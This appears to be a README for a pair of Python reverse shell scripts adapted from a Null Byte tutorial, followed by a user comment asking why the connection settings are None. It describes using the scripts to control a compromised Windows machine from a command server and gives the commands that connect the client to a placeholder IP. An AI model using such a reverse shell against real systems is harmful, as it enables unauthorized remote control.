Via http://null-byte.wonderhowto.com/how-to/reverse-shell-using-python-0163875/ with some style changes (to use classes instead of globals).
Requirements:
- a client: a Windows machine with Python installed (tested on Server 2012; probably works on 7 and 8 too)
- a server: a Linux machine (might work elsewhere)
An attacker would use a pair of scripts like this to control a compromised Windows box from her command server. The idea is that you run revshell_server.py on the server in a terminal window (and just hang out as it listens for a connection). When the client executes revshell_client.py, a prompt will appear in the server console, awaiting commands.
Suppose your server IP address is 1.2.3.4
Execute on server:
$ python revshell_server.py
Execute on client:
C:\> python revshell_client.py 1.2.3.4
I have been working on the code that is at nullbyte but i cant send commands.. actually get a successful connection between the two machines but am unable to pass commands.. I found your code here but i am a bit confused.. nowhere in the code do i see an ip address or port to assign.. I mean everywhere that i would assume these credentials would be is "none". I am assuming that I would have to "fill in the Nones"?? what am i missing here? besides being new to python?/ Thanks in advance